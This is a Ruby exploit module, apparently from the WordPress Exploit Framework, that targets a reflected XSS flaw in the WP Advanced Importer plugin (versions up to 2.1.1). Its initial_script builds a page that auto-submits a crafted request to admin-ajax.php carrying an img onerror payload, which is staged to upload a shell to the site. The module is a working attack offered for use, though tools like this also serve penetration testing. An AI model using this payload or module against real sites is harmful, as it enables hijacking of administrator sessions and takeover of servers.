# frozen_string_literal: true

class Wpxf::Exploit::WpAdvancedImporterReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'WP Advanced Importer <= 2.1.1 Reflected XSS Shell Upload',
      author: [
        'Rahul Pratap Singh', # Disclosure
        'rastating'           # WPXF module
      ],
      references: [
        ['WPVDB', '8396'],
        ['URL', 'https://0x62626262.wordpress.com/2016/02/23/wp-advanced-importer-xss-vulnerability/']
      ],
      date: 'Feb 23 2016'
    )
  end

  def check
    check_plugin_version_from_readme('wp-advanced-importer', '2.2')
  end

  def initial_script
    %|<html><head></head><body><script>
      #{js_post}
      post('#{wordpress_url_admin_ajax}', {
        action: 'trans_xmlalert_str',
        alertmsg: "\\"><img src=x onerror=#{xss_ascii_encoded_include_script}>"
      });
    </script></body></html>
    |
  end
end
